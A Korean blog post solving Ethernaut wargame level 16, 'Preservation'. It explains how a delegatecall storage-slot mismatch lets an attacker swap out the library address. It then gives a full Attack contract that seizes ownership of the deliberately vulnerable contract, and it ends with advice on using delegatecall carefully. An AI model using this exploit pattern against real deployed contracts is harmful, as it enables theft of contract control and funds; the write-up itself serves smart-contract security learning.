티스토리 뷰

Solidity/Hacking

[Ethernaut] 16. Preservation

piatoss 2024. 1. 29. 12:00

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

 이 컨트랙트는 서로다른 두 개의 타임존의 시간을 저장하기 위한 라이브러리를 사용한다. 생성자는 각각의 시간을 저장하기 위해 두 개의 라이브러리 인스턴스를 생성한다.

 주어진 컨트랙트의 소유권을 탈취하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

2. 해법

 시간 저장하는 거랑 소유권 탈취하는 거랑 도대체 무슨 상관이 있는 건지 모르겠지만 일단 탈취하라고 했으니까 해보겠습니다. 문제의 컨트랙트를 보시면 delegatecall을 사용하는 것을 볼 수 있습니다. 이 문제는 이전에 풀었던 Delegation 문제의 상위 버전이라고 보시면 됩니다. delegatecall을 통해 호출자의 컨텍스트에 접근할 수 있다는 점을 활용해 문제를 풀어보겠습니다.

상세 설명 참고

 

[Ethernaut] 6. Delegation

1. 문제 주어진 인스턴스의 소유권을 탈취하라. 도움이 될만한 것: 저수준의 함수 'delegatecall'이 어떻게 동작하는지, 어떻게 온체인상의 라이브러리에게 동작을 위임하는지, 그리고 실행 범위에

piatoss3612.tistory.com

 우선 인스턴스를 생성할 때 초기화되는 값들은 다음과 같습니다.

 

 Preservation 컨트랙트의 setFirstTime 또는 setSecondTime 함수를 호출하면 delegatecall을 통해 LibraryContract의 setTime 함수가 호출됩니다.

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

 setTime 함수는 스토리지의 첫 번째 슬롯에 들어있는 값을 파라미터 _time으로 변경합니다. Preservation 컨트랙트의 스토리지는 다음과 같이 선언되어 있습니다. 여기서 첫 번째 슬롯에 들어있는 값은 timeZone1Library입니다. 

// public library contracts 
address public timeZone1Library;
address public timeZone2Library;
address public owner; 
uint storedTime;

 그렇다면 delegatecall을 통해 setTime의 인수로 넘겨준 _time 값이 시간이 아니라 주소값이면 어떨까요? 주소도 결국 16진수로 표현된 길이가 20인 문자열이기 때문에 uint160 타입으로 캐스팅이 가능합니다. 그리고 uint160은 uint 또는 uint256 타입으로 캐스팅이 가능합니다. 따라서 LibraryContract와 동일한 기능을 가지는 또 다른 컨트랙트의 주소를 인수로 넘겨서 timeZone1Library 값을 변경할 수 있습니다.

instance.setFirstTime(uint256(uint160(address(this))));

 그리고 이렇게 변경된 주소로 배포된 컨트랙트는 Preservation 컨트랙트에서 이전 LibraryContract와 마찬가지로 delegatecall을 통해 호출됩니다. 컨트랙트를 바꿔치기 했으니 owner를 바꿔볼 수 있습니다. owner는 Preservation 컨트랙트 스토리지의 세 번째 슬롯에 들어있습니다. 바꿔치기한 컨트랙트에서 setTime 함수를 호출했을 때 해당 컨트랙트의 세 번째 슬롯에 배치된 값을 제 지갑 주소로 변경한다면 결과적으로 owner 값을 제 지갑 주소로 변경하는 것과 동일한 결과가 나올 것입니다.

instance.setFirstTime(uint256(uint160(msg.sender)));

 전체 코드는 다음과 같습니다.

contract Attack {
    address public preservation;
    address public dummy;
    address public owner;

    constructor(address _preservation) {
        preservation = _preservation;
    }

    function setTime(uint _timeStamp) public {
        owner = address(uint160(_timeStamp));
    }

    function attack() external {
        Preservation instance = Preservation(preservation);
        instance.setFirstTime(uint256(uint160(address(this))));
        instance.setFirstTime(uint256(uint160(msg.sender)));
    }
}

 

 timeZone1Library 값이 Attack 컨트랙트의 주소로 변경되었고 owner 값이 제 지갑 주소로 변경된 것을 확인할 수 있습니다.

 

 인스턴스를 제출하고 마무리합니다.


3. 결론

라이브러리를 사용하려거든 library 키워드를 사용하고 컨트랙트를 사용하려면 delegatecall은 심사숙고하여 사용하자.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 19. Alien Codex  (1) 2024.01.31
[Ethernaut] 17. Recovery  (1) 2024.01.30
[Ethernaut] 15. Naught Coin  (1) 2024.01.28
[Ethernaut] 14. Gatekeeper Two  (0) 2024.01.27
[Ethernaut] 13. Gatekeeper One  (1) 2024.01.25
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함